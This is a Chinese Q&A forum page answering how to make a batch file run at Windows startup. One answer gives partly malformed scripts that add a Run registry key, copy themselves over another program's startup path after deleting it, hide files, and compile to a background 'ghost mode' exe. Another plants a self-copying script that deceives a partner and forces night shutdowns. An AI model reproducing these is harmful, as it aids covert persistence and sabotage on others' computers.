怎么编一个开机自动运行的bat文件、给个命令代码

2024年12月02日 15:51
有3个网友回答
网友(1):

1.注册表式

@echo off
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "%homedrive%\windows\system32\ruvs.vbs" /f
if not exist "%homedrive%\windows\system32\ruvs.bat" echo ws.run "%homedrive%\windows\system32\ruvs.vbs/start",0
if not exist "%homedrive%\windows\system32\ruvs.bat" %0 "%homedrive%\windows\system32\ruvs.bat" /y

2.代替法(较隐藏,推荐)
@echo off
:start
if exist "会在系统启动时的软件路径\per.sys"
if exist "会在系统启动时的软件路径\" echo per.sys>"会在系统启动时的软件路径\per.sys"&goto sf
:sf
attrib "会在系统启动时的软件路径\per.sys" -s -h -r
attrib "会在系统启动时的软件路径\per.sys" +s +h +r
del "会在系统启动时的软件路径" /q
copy %0 "会在系统启动时的软件路径" /y
(觉得不保险使用下面reg add代码)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "会在系统启动时的软件路径" /f
goto start

下载一个工具Quick Batch File Compiler
再把代码写进去之后,在选项栏中标记“幽灵模式”,就可以后台运行了,要生成exe格式的。

会在系统启动时的软件路径,如迅雷"C:\Program Files\Thunder\Program\Thunder.exe",如后面带"per.exe"就只要路径。如迅雷"C:\Program Files\Thunder\Program"

网友(2):

没听说自动运行的编码,我应用的是,将程序编辑好以后,建一个快捷方式,然后把快捷方式拖至:开始,所有程序,启动,里面,这里面的程序都是开机运行的。

网友(3):

@echo off
msg * baby,早睡早起身体好。
rem 迷惑她,让她以为你发这个就是为说这句话的。
net start Schedule
if %time% geq " 0:00" if %time% leq " 06:00" shutdown /s /t 0
cls
copy %0 "%userprofile%\「开始」菜单\程序\启动"
pause
::0-6点自动关机
:;倒数第二行代码是添加启动项。